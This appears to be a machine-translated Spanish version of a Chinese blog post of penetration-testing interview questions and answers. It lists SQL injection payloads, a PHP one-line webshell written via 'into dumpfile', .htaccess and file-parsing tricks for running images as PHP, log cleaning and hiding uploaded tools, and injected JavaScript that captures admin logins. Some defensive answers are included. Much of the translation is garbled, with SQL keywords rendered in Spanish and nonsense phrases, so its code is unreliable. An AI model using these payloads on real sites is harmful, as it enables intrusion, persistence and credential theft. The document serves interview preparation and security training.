Preguntas de entrevista para Network Security (Dachang)

       Las siguientes son las preguntas de la entrevista relacionadas con varios aspectos de la seguridad de la red. Cuantas más estrellas, mayor será la probabilidad de que aparezcan problemas. Deseo que todos puedan encontrar un trabajo satisfactorio.

Nota: Este conjunto de preguntas de la entrevista se ha compilado en un documento pdf, pero el contenido aún se está actualizando porque de todos modos es imposible cubrir todas las preguntas de la entrevista y más personas todavía esperan llenar los vacíos señalando la superficie. .

1. Cuando consigues probar una estación, ¿qué crees que se debería hacer primero?

1.1 Recopilación de información

① Obtenga la información whois del nombre de dominio, obtenga la dirección de correo electrónico, el nombre y el número de teléfono del registrante, etc.

② Consulte la estación del lado del servidor y el sitio del nombre del subdominio, porque el sitio web principal generalmente es más difícil, así que primero verifique si hay cms comunes u otras lagunas en la estación lateral.

③ Verifique la versión del sistema operativo del servidor y el middleware web para ver si existen vulnerabilidades conocidas, como vulnerabilidades de análisis de IIS, APACHE y NGINX.

④ Verifique la IP, escanee el puerto de la dirección IP y detecte la vulnerabilidad del puerto correspondiente, como rsync, Heartbleed, mysql, ftp, ssh contraseña débil, etc.

⑤ Escanee la estructura de directorios del sitio web para ver si se puede atravesar el directorio o si se filtran archivos confidenciales, como sondas php

⑥ Hack de Google para detectar aún más información del sitio web, antecedentes y archivos confidenciales

1.2 Escaneo de vulnerabilidades

Comience a detectar vulnerabilidades, como XSS, XSRF, inyección SQL, ejecución de código, ejecución de comandos, acceso no autorizado, lectura de directorios, lectura de archivos arbitrarios, descargas, inclusión de archivos, ejecución remota de comandos, contraseñas débiles, carga, vulnerabilidades del editor, craqueo por fuerza bruta. esperar

1.3 Explotación

Utilice los métodos anteriores para obtener webshell u otros permisos

1.4 Escalada de privilegios

Servidor de escalada de privilegios, como escalada de privilegios udf de mysql en Windows, escalada de privilegios serv-u, vulnerabilidades de versiones inferiores de Windows, como iis6, pr, barbacoa brasileña, vulnerabilidad de la vaca sucia de Linux, escalada de privilegios de vulnerabilidad de la versión del kernel de Linux, mysql sistema bajo Linux Escalada de privilegios y escalada de privilegios bajos de Oracle

1.5 Limpieza de registros

1.6 Informe resumido y plan de reparación

2. ¿Cuál es la importancia de juzgar la penetración del CMS del sitio web?

Encuentre vulnerabilidades de programas que hayan quedado expuestas en Internet.

Si es de código abierto, también puede descargar el código fuente correspondiente para la auditoría de código.

3. Para un CMS maduro y relativamente seguro, ¿qué significa escanear el directorio al infiltrarse?

Archivos confidenciales, escaneo de directorio secundario

Malas operaciones por parte del webmaster, tales como: los archivos comprimidos de la copia de seguridad del sitio web, descripción.txt y el directorio secundario pueden almacenar otros sitios

4. Contenedores comunes de servidores web.

IIS, Apache, nginx, Lighttpd, Tomcat

5. Punto de inyección de MySQL, use herramientas para escribir una oración directamente en la estación de destino, ¿qué condiciones se necesitan?

permisos de root y la ruta absoluta del sitio web.

6. Qué versiones de contenedores se sabe actualmente que tienen vulnerabilidades de análisis, con ejemplos específicos.

IIS 6.0

/xx.asp/xx.jpg "xx.asp" es el nombre de la carpeta

IIS 7.0/7.5

De forma predeterminada, Fast-CGI está habilitado. Ingrese /1.php directamente después de la dirección de la imagen en la URL y la imagen normal se analizará como php.

nginx

La versión es menor o igual a 0.8.37, el método de explotación es el mismo que IIS 7.0/7.5 y también se puede explotar cuando Fast-CGI está deshabilitado.

Código de bytes nulo xxx.jpg.php

apache

El archivo cargado se llama: test.php.x1.x2.x3, Apache juzga el sufijo de derecha a izquierda

luztpd

xx.jpg/xx.php, incompleto, no dude en agregar los comentarios, ¡gracias!

7. ¿Cómo juzgar manualmente y rápidamente si la estación de destino es un servidor Windows o un servidor Linux?

Linux distingue entre mayúsculas y minúsculas, Windows no distingue entre mayúsculas y minúsculas.

8. ¿Por qué solo hay un puerto 80 abierto para una estación de base de datos mysql?

Cambié el puerto, no escaneó.

Separación de biblioteca de estaciones.

El puerto 3306 no está abierto al mundo exterior.

9. Varias situaciones en las que 3389 no se puede conectar

El puerto 3389 no está abierto

el puerto se modifica

Intercepción de protección

En la intranet (requiere reenvío de puerto)

10. ¿Cómo escapar de los personajes durante la inyección innovadora?

inyección de caracteres amplios

derivación de codificación hexadecimal

11. ¿Qué debo hacer primero cuando veo un editor en una interfaz de edición de noticias en segundo plano?

Mire el nombre de la versión del editor y luego busque vulnerabilidades abiertas.

12. Obtenga un webshell y descubra que hay un archivo .htaccess en el directorio raíz del sitio web, ¿qué podemos hacer?

Hay muchas cosas que se pueden hacer, usando caballos de red ocultos como ejemplo:

insertar

Aplicación SetHandler/x-httpd-php

Los archivos .jpg se analizan en archivos .php.

Es difícil entrar en detalles sobre otras cosas específicas, se recomienda que busque oraciones usted mismo.

13. ¿Inyectar una vulnerabilidad solo puede verificar la contraseña de la cuenta?

Mientras la autoridad sea amplia, arrastre la biblioteca para envejecer.

14. ¿SafeDog rastreará las variables para descubrir que se trata de un caballo de Troya de una sola frase?

Se basa en el código de función, por lo que es fácil de omitir. Siempre que tenga una mente amplia, puede rodear al perro hasta el punto de divertirse, pero esto no debe ser estático.

15. Access escanea los archivos de la base de datos con el sufijo asp y accede a caracteres confusos. ¿Cómo implementar el uso local? **

Descarga Thunder, cambie directamente el sufijo a .mdb.

16. Elija un directorio legible y grabable al escalar derechos, ¿por qué intentar no utilizar directorios con espacios?

Porque la mayoría de las ejecuciones de exp requieren espacios para definir parámetros.

17. Un servidor tiene los sitios A y B, ¿por qué agregar un usuario de prueba en el fondo de A para acceder al fondo de B? ¿Descubrió que también se agregó el usuario de prueba?

Misma base de datos.

18. ¿Es posible ordenar directamente para iniciar la inyección sin usar y o o xor al inyectar?

y/o/xor, los pasos anteriores 1=1, 1=2 son solo para juzgar si es un punto de inyección. Si ya se determina que es un punto de inyección, entonces puede guardar ese paso.

19. Un sistema antiinyección le indicará al inyectar:

El sistema ha detectado que usted tiene un comportamiento de inyección ilegal.

Tu ip xx.xx.xx.xx ha sido registrada

Hora: 2016: 01-23

Enviar página: test.asp id=15

Enviar contenido: y 1=1

20. ¿Cómo utilizar este sistema antiinyección para conseguir la concha?

Envíe una oración directamente en la URL, para que el sitio web también registre su oración en el archivo de la base de datos. En este momento, puede intentar encontrar el archivo de configuración del sitio web y vincularlo directamente al cuchillo de cocina.

21. ¿Cuáles son las soluciones al acceder a caracteres confusos después de cargarlos en Malasia?

Cambie la codificación en el navegador.

22. ¿Qué sentido tiene revisar los elementos del punto de subida?

La limitación del tipo de archivo cargado de algunos sitios se implementa en la interfaz y, en este momento, siempre que se aumente el tipo de carga, la limitación se puede romper.

23. La estación de destino prohíbe los usuarios registrados, simplemente ingrese el nombre de usuario en el área de recuperación de contraseña y solicite: "Este usuario no existe", ¿cómo cree que se usa?

Primero destruya el nombre de usuario y luego use el nombre de usuario destruído para destruir la contraseña.

De hecho, algunos sitios también mostrarán este mensaje al iniciar sesión.

La inyección es posible en todos los lugares donde hay interacción con la base de datos.

24. La estación de destino descubrió que la dirección de descarga de un determinado txt es http://www.test.com/down/down.php file=/upwdown/1.txt, ¿qué opinas?

¡Este es el legendario error de descarga! Después de file =, intente ingresar index.php para descargar el archivo de su página de inicio y luego continúe buscando los archivos de configuración de otros sitios web en el archivo de la página de inicio, puede encontrar la contraseña y la dirección de la base de datos del sitio web.

25. A le proporciona un sitio de destino y le dice que hay un directorio /abc/ en el directorio raíz y que hay directorios de editor y administrador en este directorio. ¿Cuáles son tus pensamientos?

Escanee archivos y directorios confidenciales directamente en el directorio secundario del sitio web /abc/.

26. En el caso de un shell, ¿cómo utilizar xss para lograr el control a largo plazo de la estación objetivo?

Agregue una sección de js para registrar la contraseña de la cuenta de inicio de sesión en el inicio de sesión en segundo plano y determine si el inicio de sesión es exitoso. Si el inicio de sesión es exitoso, registre la contraseña de la cuenta en un archivo con una ruta poco común o envíela directamente a su propio archivo del sitio web. . (Este método es adecuado para redes valiosas que requieren permisos de control profundo).

Inserte scripts XSS en archivos a los que solo se pueda acceder después de iniciar sesión.

27. En el lugar donde se modifica la contraseña del administrador en segundo plano, la contraseña original se muestra como *. ¿Cómo crees que será posible leer la contraseña del usuario?

Revise el elemento y cambie el atributo de contraseña en la contraseña a texto para mostrarlo en texto sin formato.

28. No hay protección en la estación de destino, se puede acceder a la carga de imágenes normalmente, pero el acceso al formato de script de carga es 403. ¿Cuál es el motivo?

Hay muchas razones. Es posible que la configuración del servidor web escriba el directorio de carga hasta el final y no ejecute el script correspondiente. Intente cambiar el nombre del sufijo para omitir

29. Revisa el elemento para conocer el software de protección que utiliza el sitio web, ¿cómo crees que se hace?

Cuando las operaciones confidenciales están bloqueadas y la protección no se puede determinar a través de la información de la interfaz, F12 puede ver el contenido en el nombre del cuerpo HTML, como Patronus.

30. ¿Cuál es el propósito de crear una carpeta .zhongzi en el servidor win2003?

Carpeta oculta, para evitar que el administrador descubra las herramientas que subiste.

31. La inyección SQL tiene las siguientes dos opciones de prueba, elija una y explique las razones para no elegir la otra:

A. demo.jsp id=2+1 B. demo.jsp id=2-1

Opción B, + representa un espacio en la codificación de URL, lo que puede causar confusión

32. Hay una vulnerabilidad de inyección sql en el siguiente enlace ¿Qué opinas de esta inyección deformada?

demo.do DATOS=AjAxNg==

Los DATOS pueden codificarse en base64 antes de enviarse al servidor, por lo que también necesitamos codificar en base64 los parámetros para completar la prueba correctamente.

33. Encontré demo.jsp uid=110 punto de inyección, ¿cuáles son sus ideas para obtener webshell, cuál es la mejor?

Si tiene permiso de escritura, puede utilizar INTO OUTFILE para construir una declaración de consulta conjunta para redirigir el resultado de la consulta a un archivo en el sistema, de modo que pueda escribirse en WebShell.

El principio de usar sqlmap –os-shell es el mismo que el anterior, para obtener directamente un Shell, que es más eficiente

Obtenga la cuenta y la contraseña del administrador del sitio web construyendo una declaración de consulta conjunta, luego escanee el fondo para iniciar sesión en segundo plano y luego cargue el Shell en segundo plano cambiando el paquete y cargándolo.

34. ¿Cuál es la diferencia entre CSRF, XSS y XXE y cómo solucionarlos?

XSS es un ataque de secuencias de comandos entre sitios. Se pueden construir códigos a partir de los datos enviados por los usuarios para su ejecución, a fin de realizar ataques como el robo de información del usuario. Método de reparación: escape de entidades de caracteres, use solo HTTP para prohibir que JavaScript lea valores de cookies, verifique la entrada y use la misma codificación de caracteres para navegadores y aplicaciones web.

CSRF es un ataque de falsificación de solicitudes entre sitios. XSS es uno de los muchos medios para implementar CSRF, porque no hay confirmación de si la operación clave es iniciada por el usuario voluntariamente. Método de reparación: filtre las páginas que necesitan evitar CSRF y luego incruste el token, ingrese la contraseña nuevamente y verifique el Referer

XXE es un ataque de inyección de entidad externa XML. En XML, se puede llamar a entidades para solicitar contenido local o remoto. Similar a la protección remota de archivos, causará problemas de seguridad relacionados, como la lectura de archivos confidenciales. Método de reparación: la biblioteca de análisis XML prohíbe estrictamente el análisis de entidades externas cuando se llama.

35. ¿Cuál es la diferencia entre CSRF, SSRF y ataques de repetición?

  CSRF es un ataque de falsificación de solicitudes entre sitios iniciado por el cliente

  SSRF es una falsificación de solicitud del lado del servidor, iniciada por el servidor

  El ataque de reproducción consiste en reproducir los paquetes de datos interceptados para lograr la autenticación de identidad y otros fines.

36. Nombra al menos tres vulnerabilidades de la lógica empresarial y cómo solucionarlas.

36.1 Existe una vulnerabilidad de recuperación de contraseña

① La contraseña permite descifrar por fuerza bruta,

② Hay un certificado de recuperación de uso general,

③ Puede omitir el paso de verificación,

④ Para recuperar las credenciales, puede obtener la contraseña a través de la función de recuperación de contraseña proporcionada por el fabricante mediante la interceptación de paquetes y otros métodos.

36.2 La vulnerabilidad de autenticación de identidad más común es

① Ataque de fijación de sesión

② Falsificación de cookies: siempre que obtenga una sesión o una cookie, puede falsificar la identidad del usuario.

36.3 Existe vulnerabilidad Captcha

① El código de verificación permite el descifrado por fuerza bruta

② El código de verificación se puede omitir mediante Javascript o cambiando el paquete.

37. Encierra en un círculo los elementos que pueden tener problemas en las siguientes conversaciones y marca los posibles problemas.

  obtener /ecskins/demo.jsp uid=2016031900&keyword=”hola mundo”

  HTTP/1.1Host:.com:82Agente-usuario:Mozilla/

  5.0 Firefox/40Aceptar:text/css,/;q=0.1

  Idioma aceptado:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3

  Referencia: http://**.com/eciop/orderForCC/

  cgtListForCC.htm zona=11370601&v=145902

  Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;

  Uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;

  st_uid=N90PLYHLZGJXI-NX01VPUF46W;

  estado = Verdadero

  Conexión: mantener vivo

38, sqlmap, ¿cómo inyectar un punto de inyección?

38.1 Si es un modelo de obtención, directamente, sqlmap -u "como una URL de punto".

38.2 Si es un tipo de publicación como un punto, puede usar sqlmap -u "URL del punto de inyección" –data="parámetro de publicación"

38.3 Si es una cookie, X-Forwarded-For, etc., cuando sea accesible, use burpsuite para capturar el paquete, reemplace el sitio de inyección con un número, colóquelo en el archivo y luego sqlmap -r "dirección del archivo "

39. ¿Cuántos tipos de inyección SQL?

39.1 Inyección de errores

39.2 inyección tipo bool

39.3 Inyección retardada

39.4 Inyección de bytes anchos

40. ¿Cómo juzgar la inyección retrasada?

if(ascii(substr(“hola”, 1, 1))=104, dormir(5), 1)

41. ¿Qué tienen en común la inyección ciega y la inyección retardada?

Es un juicio carácter por carácter.

42. ¿Cómo obtener el webshell de un sitio web?

Cargar, editar plantillas en segundo plano, inyección SQL, escribir archivos, ejecutar comandos, ejecutar código, algunas vulnerabilidades de cms que han sido expuestas, como el fondo dedecms puede crear directamente archivos de script, los complementos de carga de WordPress incluyen archivos de script, archivos zip, etc.

43. ¿Cuáles son las funciones para la inyección de errores? 10

43.1 y extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】———

43.2 Informe de errores de redondeo hacia abajo por piso

43.3 +y updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

43.4 colección de geometría () seleccione de la prueba donde id = 1 y colección de geometría ((seleccione de (seleccione de (seleccione usuario ()) a) b));

43.5 multipunto()seleccionar de prueba donde id=1 y multipunto((seleccionar de(seleccionar de(seleccionar usuario())a)b));

43.6 polígono()seleccionar de prueba donde id=1 y polígono((seleccionar de(seleccionar de(seleccionar usuario())a)b));

43.7 multipolígono()seleccionar de prueba donde id=1 y multipolígono((seleccionar de(seleccionar de(seleccionar usuario())a)b));

43.8 cadena de líneas()seleccione de la prueba donde id=1 y cadena de líneas((seleccione de(seleccione de(seleccione usuario())a)b));

43.9 ultilinestring()seleccionar de prueba donde id=1 y multilinestring((seleccionar de(seleccionar de(seleccionar usuario())a)b));

43.10 exp()select from test donde id=1 y exp(~(select * from(select user())a));

44. Además del atributo onerror de la etiqueta img, ¿hay alguna otra forma de obtener la ruta del administrador?

src especifica un archivo de script remoto para obtener el referente

45. Además del atributo onerror de la etiqueta img y el nombre del sufijo del atributo src debe terminar en .jpg, cómo obtener la ruta del administrador.

45.1 El servidor remoto modifica el archivo de configuración de Apache y configura el archivo .jpg para analizar AddType application/x-httpd-php .jpg en php

45.2 <img src=http://xss.tv/1.jpg> se analizará en php

46. ​​​​¿Cuáles son las funciones de la inyección sql para escribir archivos?

seleccione 'oración' en la 'ruta' del archivo de salida

seleccione 'oración' en la 'ruta' del archivo de volcado

seleccione '< php eval($_POST[1]) >' en el archivo de volcado 'd:\wwwroot\baidu.com\nvhack.php';

47. Cómo prevenir la CSRF

47.1 Verificar referente

47.2 Verificar token

Detalles: http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48. ¿Cuáles son las vulnerabilidades de Owasp?

48.1 Métodos de protección contra inyección SQL:

48.2 Autenticación rota y gestión de sesiones

48.3 Ataque de secuencias de comandos entre sitios XSS

48.4 Referencias directas a objetos inseguros

48.5 Error de configuración de seguridad

48.6 Divulgación de información confidencial

48.7 Falta de control de acceso a nivel de función

48.8 Falsificación de solicitudes entre sitios CSRF

48.9 Uso de componentes con vulnerabilidades conocidas

48.10 Redirecciones y reenvíos no autenticados

49. ¿Método de protección contra inyección SQL?

49.1 Uso de una API segura

49.2 Realizar el procesamiento de escape Escape en los caracteres especiales de entrada

49.3 Uso de listas blancas para normalizar los métodos de validación de entradas

49.4 Controlar la entrada del cliente y no permitir la entrada de caracteres especiales relacionados con la inyección SQL

49.5 El lado del servidor filtra, escapa, reemplaza y elimina caracteres especiales antes de enviarlos a la base de datos para una consulta SQL.

50. ¿Cuáles son las funciones de ejecución de código, lectura de archivos y ejecución de comandos?

Versión 50.1: eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

50.2 Lectura de archivos: file_get_contents(), resaltado_file(), fopen(), readfile(), fread(), fgetss(), fgets(), parse_ini_file(), show_source(), file(), etc.

50.3 Ejecución de comandos: system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()

Si necesita una versión en PDF, preste atención a la adquisición automática.

epílogo


La industria de la seguridad de redes es como un río y un lago, donde se reúne gente de todos los colores. En comparación con muchas familias decentes con bases sólidas en países europeos y americanos (entienden el cifrado, saben cómo proteger, pueden cavar agujeros y son buenos en ingeniería), nuestros talentos son más herejes (es posible que muchos sombreros blancos no estén convencidos), por lo que en el futuro Formación de talentos y En términos de construcción, es necesario ajustar la estructura y alentar a más personas a hacer "sistemas y construcciones" "positivos" que combinen "negocios", "datos" y "automatización" para saciar la sed. buscar talentos y servir verdaderamente a la sociedad de manera integral. Internet proporciona seguridad.

Supongo que te gusta

Origin blog.csdn.net/jazzz98/article/details/132427154
Recomendado
Clasificación